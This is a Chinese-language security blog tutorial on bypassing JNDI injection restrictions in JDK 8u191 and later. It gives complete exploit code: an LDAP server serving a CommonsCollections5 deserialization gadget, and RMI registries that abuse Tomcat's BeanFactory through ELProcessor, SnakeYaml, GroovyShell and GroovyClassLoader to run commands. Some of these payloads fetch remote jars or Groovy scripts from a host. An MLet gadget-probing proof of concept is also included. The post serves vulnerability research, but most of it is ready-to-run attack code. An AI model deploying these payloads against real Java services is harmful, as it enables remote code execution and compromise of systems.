高版本jdk下JNDI漏洞的利用方式(一)

之前jndi那篇的高版本jdk利用写的不那么好,这次写一个比较好并且比较全的

JDK >= 8u191

关于JDK >= 8u191的利用目前公开有两种绕过的方法,这里测试的JDK版本为JDK 8u202

参考:

如何绕过高版本 JDK 的限制进行 JNDI 注入利用 (seebug.org)

JNDI注入学习 - 先知社区 (aliyun.com)

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

反序列化 通过LDAP的 javaSerializedData反序列化gadget

前提:jdk版本高,并且有可用的gadget

思路:起一个恶意jndi服务端,把gadget写好后反序列化出来的字节放到OperationInterceptor中,然后启动rmi服务,并放在config.addInMemoryOperationInterceptor中

这里使用的GadgetCommonsCollections5

package demo;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
        String[] args=new String[]{"http://192.168.43.88/#test"};
        int port = 6666;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData",CommonsCollections5());

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }

    private static byte[] CommonsCollections5() throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map map=new HashMap();
        Map lazyMap=LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(badAttributeValueExpException);
        objectOutputStream.close();

        return byteArrayOutputStream.toByteArray();
    }

}

客户端

package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        Object object=new InitialContext().lookup("ldap://127.0.0.1:6666/calc");
    }
}

image-20220922194532766

调用栈如下:

deserializeObject:532, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:7, JNDI_Test (demo)

跟进com.sun.jndi.ldap.Obj#decodeObject

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

此处(var1 = var0.get(JAVA_ATTRIBUTES[1])) != null判断JAVA_ATTRIBUTES[1]是否为空,如果不为空则进入deserializeObject进行反序列操作

其中JAVA_ATTRIBUTEScom.sun.jndi.ldap.Obj中定义为

static final String[] JAVA_ATTRIBUTES = new String[]{"objectClass", "javaSerializedData", "javaClassName", "javaFactory", "javaCodeBase", "javaReferenceAddress", "javaClassNames", "javaRemoteLocation"};

JAVA_ATTRIBUTES[1]javaSerializedData,所以我们可以LDAP修改javaSerializedData为我们的恶意序列化数据,然后客户端进行反序列化进而到达RCE。

跟进com.sun.jndi.ldap.Obj#deserializeObject,可以看到var5 = ((ObjectInputStream)var20).readObject();此处对var20(也就是从javaSerializedData中读取的序列化数据)进行了反序列化

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
    try {
        ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

        try {
            Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
            Throwable var21 = null;

            Object var5;
            try {
                var5 = ((ObjectInputStream)var20).readObject();
            } catch (Throwable var16) {
                var21 = var16;
                throw var16;
            } finally {
                if (var20 != null) {
                    if (var21 != null) {
                        try {
                            ((ObjectInputStream)var20).close();
                        } catch (Throwable var15) {
                            var21.addSuppressed(var15);
                        }
                    } else {
                        ((ObjectInputStream)var20).close();
                    }
                }

            }

            return var5;
        } catch (ClassNotFoundException var18) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var18);
            throw var4;
        }
    } catch (IOException var19) {
        NamingException var3 = new NamingException();
        var3.setRootCause(var19);
        throw var3;
    }
}

服务端代码可以参考marshalsec,然后添加对应属性javaSerializedData为我们的Gadgets序列化的数据即可

e.addAttribute("javaSerializedData", GadgetsData);

利用本地Class作为Reference Factory

el表达式 javax.el.ELProcessor#eval

利用本地Class作为Reference Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class,这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。

条件:

  • jdk高版本

  • Factory Class必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法。

  • 有el依赖(比如说tomcat8就可以,tomcat7就不行)

比如说:

org.apache.naming.factory.BeanFactory,并且该类存在于Tomcat依赖包中,所以利用范围还是比较广泛的。

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

你可能会遇到这种报错 org.apache.el:com.springsource.org.apache.el:jar:7.0.26 was not found in http://maven.aliyun.com/nexus/content/repositories/central/ during a previous attempt.

解决参考[(20条消息) maven配置,以及项目"Dependency 'xxxx‘ not found"解决过程_MrLixinglin的博客-CSDN博客](https://blog.csdn.net/lixld/article/details/82284269)

仓库在这

image-20230112201750174

org.apache.el 这个包好像得去https://repo.spring.io/ui/login/ 这个网站注册个号才能下,大伙有什么头猪吗?没有的话我整了个骚操,http://www.java2s.com/Code/Jar/c/com.springsource.org.apache.htm这个网站免费提供各类jar包(版本略旧凑合一下),里面仔细找有org.apache.el 6.0.20的,加入library后可以被攻击

服务端代码参考自这篇文章

package demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }
}

客户端

package demo;

import javax.naming.InitialContext;

public class JNDI_Test {
    public static void main(String[] args) throws Exception{
        Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/Object");
    }
}

image-20230112210104361

简单分析

如下是调用栈

getObjectInstance:123, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDI_Test (demo)

image-20230112212547473

这里体现出EL和Groovy(后面要介绍的另一种姿势)之所以能打是因为LDAP和RMI在收到服务端反序列化来的Reference对象后根据classFactory属性从本地classpath中实例化一个 ObjectFactory 对象,然后调用这个对象的 getObjectInstance 方法。

image-20230112213426409

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx,
                                     environment);
}

看完上面的代码,我们想象一下elprocessor的思路:我们需要注意的是javax.naming.spi.NamingManager#getObjectInstance此处的调用,可以看到该方法中通过getObjectFactoryFromReference获取一个实例化的对象之后,还会调用factory.getObjectInstance,也就是说如果我们能从其它类中找到其它可以利用的getObjectInstance方法,那么我们就可以进行进一步的利用。然后到了我们上面所说的可利用的类:org.apache.naming.factory.BeanFactory,该类存在getObjectInstance方法,如下

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
    if (obj instanceof ResourceRef) {
        NamingException ne;
        try {
            Reference ref = (Reference)obj;
            String beanClassName = ref.getClassName();
            Class<?> beanClass = null;
            ClassLoader tcl = Thread.currentThread().getContextClassLoader();
            if (tcl != null) {
                try {
                    beanClass = tcl.loadClass(beanClassName);
                } catch (ClassNotFoundException var26) {
                }
            } else {
                try {
                    beanClass = Class.forName(beanClassName);
                } catch (ClassNotFoundException var25) {
                    var25.printStackTrace();
                }
            }

            if (beanClass == null) {
                throw new NamingException("Class not found: " + beanClassName);
            } else {
                BeanInfo bi = Introspector.getBeanInfo(beanClass);
                PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                Object bean = beanClass.newInstance();
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap();
                String value;
                String propName;
                int i;
                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<?>[] paramTypes = new Class[]{String.class};
                    String[] arr$ = value.split(",");
                    i = arr$.length;

                    for(int i$ = 0; i$ < i; ++i$) {
                        String param = arr$[i$];
                        param = param.trim();
                        int index = param.indexOf(61);
                        if (index >= 0) {
                            propName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                        }

                        try {
                            forced.put(param, beanClass.getMethod(propName, paramTypes));
                        } catch (SecurityException | NoSuchMethodException var24) {
                            throw new NamingException("Forced String setter " + propName + " not found for property " + param);
                        }
                    }
                }

                Enumeration e = ref.getAll();

                while(true) {
                    while(true) {
                        do {
                            do {
                                do {
                                    do {
                                        do {
                                            if (!e.hasMoreElements()) {
                                                return bean;
                                            }

                                            ra = (RefAddr)e.nextElement();
                                            propName = ra.getType();
                                        } while(propName.equals("factory"));
                                    } while(propName.equals("scope"));
                                } while(propName.equals("auth"));
                            } while(propName.equals("forceString"));
                        } while(propName.equals("singleton"));

                        value = (String)ra.getContent();
                        Object[] valueArray = new Object[1];
                        Method method = (Method)forced.get(propName);
                        if (method != null) {
                            valueArray[0] = value;

                            try {
                                method.invoke(bean, valueArray);
                            } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                            }
                        } else {
                            //省略部分代码
                        }
                    }
                }
            }
        }
        //省略部分代码
    } else {
        return null;
    }
}

然后就是调用的参数,以=号分割,=右边为调用的方法,这里为javax.el.ELProcessor.eval=左边则是会通过作为hashmapkey,后续会通过key去获取javax.el.ELProcessor.eval

int index = param.indexOf(61);
if (index >= 0) {
    propName = param.substring(index + 1).trim();
    param = param.substring(0, index).trim();
} else {
    propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
    forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
    throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}

其中eval的参数获取如下,可以看到它是通过嵌套多次do while去枚举e中的元素,最后while(propName.equals("singleton"))此处propNamex,则退出循环,然后通过value = (String)ra.getContent();获取eval的参数,之后就是将ra的addrType(propName)的值作为key去获取之前存入的javax.el.ELProcessor.evalMethod method = (Method)forced.get(propName);

Enumeration e = ref.getAll();

do {
    do {
        do {
            do {
                do {
                    if (!e.hasMoreElements()) {
                        return bean;
                    }

                    ra = (RefAddr)e.nextElement();
                    propName = ra.getType();
                } while(propName.equals("factory"));
            } while(propName.equals("scope"));
        } while(propName.equals("auth"));
    } while(propName.equals("forceString"));
} while(propName.equals("singleton"));

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
    valueArray[0] = value;
}

参数如下:

image-20230112214326980

最后

image-20230112214421098

其实就是等价于

new javax.el.ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")")
snakeYaml

要有snakeyaml的依赖,且tomcat版本9.0.68以下(不包括9.0.68)

pom.xml

        <dependency>
            <groupId>org.yaml</groupId>
            <artifactId>snakeyaml</artifactId>
            <version>1.27</version>
        </dependency>

浅蓝:在我以往所看过的源码中依赖库使用SnakeYaml比Groovy更常见,new org.yaml.snakeyaml.Yaml().load(String)也刚好符合条件,所以还是很有价值的。

package yamltest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import mlettest.MLetTest;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class yamlTest {
    private static ResourceRef execBySnakeYaml() throws NamingException, RemoteException {

        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        //String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\\"<http://82.156.2.166:8888/exp.jar\\"]]]]">;
        String yaml="!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:1234/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";

        ref.add(new StringRefAddr("forceString", "a=load"));
        ref.add(new StringRefAddr("a", yaml));
        return ref;
        //return new ReferenceWrapper((Reference) ref);
    }
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1095");
        Registry registry = LocateRegistry.createRegistry(1095);
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( yamlTest.execBySnakeYaml());
        registry.bind("execBySnakeYaml", referenceWrapper);
    }

}

image-20230112233504864

groovy.lang.GroovyShell#evaluate

这个和上面思路一样

攻击代码参考JNDI-Injection-Bypass-master

package groovylanggroobyshell;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class GroovyShellTest {
//    }
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=evaluate"));
        String script = String.format("'%s'.execute()", "calc");
        ref.add(new StringRefAddr("x",script));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("ExecByGroovy", referenceWrapper);
    }
}

image-20230112222422709

漏洞调试和上面一样

image-20230112222950531

本质就是换一个类进行反射调用

浅蓝大佬:我在找合适的利用类时是按照这个条件找的。探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 (tttang.com)

  • JDK或者常用库的类
  • 有public修饰的无参构造方法
  • public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞
javax.management.loading.MLet

利用条件:

jdk自带,几乎无条件

作用:

这次不是用于rce,

而是用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。反之如果第一次类加载失败就会抛出异常结束后面的流程,也就不会访问远程类。

poc

package mlettest;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class MLetTest {
    private static ResourceRef tomcatMLet() {
        ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
        ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
        ref.add(new StringRefAddr("b", "http://127.0.0.1:2022/"));
        ref.add(new StringRefAddr("c", "Thai"));
        return ref;
    }

    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1098");
        Registry registry = LocateRegistry.createRegistry(1098);

//        org.apache.naming.ResourceRef ref = new org.apache.naming.ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//        ref.add(new StringRefAddr("forceString", "x=evaluate"));
//        String script = String.format("'%s'.execute()", "calc");
//        ref.add(new StringRefAddr("x",script));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatMLet());
        registry.bind("MletFind", referenceWrapper);
    }
}

同时开启2022端口,假如classPath有某某gadget就会有访问记录

image-20230112224956753

groovy.lang.GroovyClassLoader

与groovy.lang.GroovyShell是一个包,所以利用条件一样,但是操作繁琐些,这两个互为替代品可以用于黑名单绕过

    private static ResourceRef tomcatGroovyClassLoader() {
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
        ref.add(new StringRefAddr("a", "http://127.0.0.1:2022/"));
        ref.add(new StringRefAddr("b", "thaii"));
        return ref;
    }

    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1098");
        Registry registry = LocateRegistry.createRegistry(1098);

//        org.apache.naming.ResourceRef ref = new org.apache.naming.ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//        ref.add(new StringRefAddr("forceString", "x=evaluate"));
//        String script = String.format("'%s'.execute()", "calc");
//        ref.add(new StringRefAddr("x",script));
        //MLet
        //ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatMLet());
        //GroovyClassLoader
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper( MLetTest.tomcatGroovyClassLoader());
        registry.bind("tomcatGroovyClassLoader", referenceWrapper);
    }

thaii.groovy

@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")})
class Person{}

image-20230112232045306

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇